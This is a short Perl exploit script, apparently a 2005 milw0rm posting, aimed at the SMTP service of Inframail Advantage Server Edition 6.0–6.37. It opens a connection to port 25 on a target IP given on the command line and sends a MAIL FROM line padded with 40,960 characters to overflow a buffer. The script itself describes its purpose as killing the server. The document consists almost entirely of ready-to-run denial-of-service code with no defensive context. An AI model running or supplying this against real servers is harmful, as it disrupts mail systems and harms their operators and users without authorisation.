Inframail Advantage Server Edition 6.0 <= 6.37 - (SMTP) BoF Exploit

#===== Start Inframail_SMTPOverflow.pl ===== # # Usage: Inframail_SMTPOverflow.pl &#60;ip&#62; # Inframail_SMTPOverflow.pl 127.0.0.1 # # Infradig Systems Inframail Advantage Server Edition 6.0 # (Version: 6.37) # # Download: # http://www.infradig.com/ # ######################################################### use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;25&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill Inframail SMTP server at $ARGV[0]:25...&#34;; sleep(1); print $socket &#34;HELO moto.com\r\n&#34;; sleep(1); print $socket &#34;MAIL FROM:&#34; . &#34;A&#34; x 40960 . &#34;\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:25\n&#34;; } #===== End Inframail_SMTPOverflow.pl ===== # milw0rm.com [2005-06-27]